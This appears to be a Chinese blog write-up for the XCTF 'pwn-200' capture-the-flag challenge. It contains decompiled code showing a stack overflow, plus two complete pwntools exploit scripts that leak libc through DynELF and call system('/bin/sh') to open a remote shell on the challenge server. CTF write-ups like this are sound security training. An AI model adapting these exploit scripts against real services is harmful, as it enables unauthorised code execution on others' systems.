攻防世界pwn——pwn-200

题目链接:攻防世界 (xctf.org.cn)

文件分析

 文件本身也很简单

int __cdecl main()
{
  char buf[108]; // [esp+2Ch] [ebp-6Ch] BYREF

  strcpy(buf, "Welcome to XDCTF2015~!\n");
  memset(&buf[24], 0, 0x4Cu);
  setbuf(stdout, buf);
  write(1, buf, strlen(buf));
  sub_8048484();
  return 0;
}
ssize_t sub_8048484()
{
  char buf[108]; // [esp+1Ch] [ebp-6Ch] BYREF

  setbuf(stdin, buf);
  return read(0, buf, 0x100u);
}

这里的read存在栈溢出,溢出点找到了下面是构造rop链。但是题目没有给libc文件,一种方法是根据文件去查libc,然后从官方下载对应的libc版本,还有一种就是利用pwntools里的DynELF,下面是DynELF利用的模板

leak得基本构造思路为:112*'A'+write_plt+(漏洞存在得函数的地址,便于反复利用)+1(write的第一个参数)+address(leak函数的参数,给DyELF使用)+4(write的参数,打印8位地址使用)

def leak(address):
    payload='A'*junk+p32(write_plt)+p32(func_addr)+p32(1)+p32(address)+p32(4) #junk是溢出需要的字节
    #write(1,address,4)表示将address向外写
    r.send(payload)
    data = r.recv(4)
    print(data)
    return data

dyn=DynELF(leak,elf=ELF('./pwn200'))#调用DynELF

sys_addr = dyn.lookup('system',libc)
print('system address:',hex(sys_addr))

 还需要找pop的地址

ROPgadget --binary ./1 --only "pop|ret"

exp

整体的rop链,先利用DynELF泄露system的libc地址。然后控制程序到start函数恢复一下栈,利用read将'/bin/sh'写到bss段,read有三个参数所以返回前需要pop三次调整栈平衡,然后返回的地址覆盖为system,传入参数'/bin/sh'

from pwn import *
context(log_level='debug',arch='i386',os='linux')

r=remote("61.147.171.105",57743)

start_addr=0x80483d0 #satrt的地址
func_addr=0x8048484 #有栈溢出漏洞函数的地址
elf=ELF("./1")
write_plt=elf.symbols['write']
read_plt=elf.symbols['read']

def leak(address):
    payload='A'*112+p32(write_plt)+p32(func_addr)+p32(1)+p32(address)+p32(4)
    r.send(payload)
    data=r.recv(4)
    print(data)
    return data
print r.recv()
dyn=DynELF(leak,elf=ELF('./1'))
sys_addr=dyn.lookup("system",'libc')
print("system address:",hex(sys_addr))

payload1='A'*112+p32(start_addr) #调用start函数恢复栈
r.send(payload1)
r.recv()

ppp_addr=0x080485cd #0x0804856c,0x080485cd
bss_addr=elf.bss()
payload2 ='A'*112+p32(read_plt)+p32(ppp_addr)+p32(0)+p32(bss_addr)+p32(8)+p32(sys_addr)+p32(func_addr)+p32(bss_addr)

r.send(payload2)
r.send('/bin/sh')
r.interactive()

另一种不需要start清栈的exp,read函数的三个参数中的前两个可以和system函数的返回地址和参数相吻合,就不用清栈了

from pwn import *
context(log_level='debug',arch='i386',os='linux')

r=remote("61.147.171.105",57743)

start_addr=0x80483d0
func_addr=0x8048484
elf=ELF("./1")
write_plt=elf.symbols['write']
read_plt=elf.symbols['read']

def leak(address):
    payload='A'*112+p32(write_plt)+p32(func_addr)+p32(1)+p32(address)+p32(4)
    r.send(payload)
    data=r.recv(4)
    print(data)
    return data
print r.recv()
dyn=DynELF(leak,elf=ELF('./1'))
sys_addr=dyn.lookup("system",'libc')
print("system address:",hex(sys_addr))

bss_addr=elf.bss()
payload2='A'*112+p32(read_plt)+p32(sys_addr)+p32(0)+p32(bss_addr)+p32(8)
r.send(payload2)
r.send('/bin/sh')
r.interactive()

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值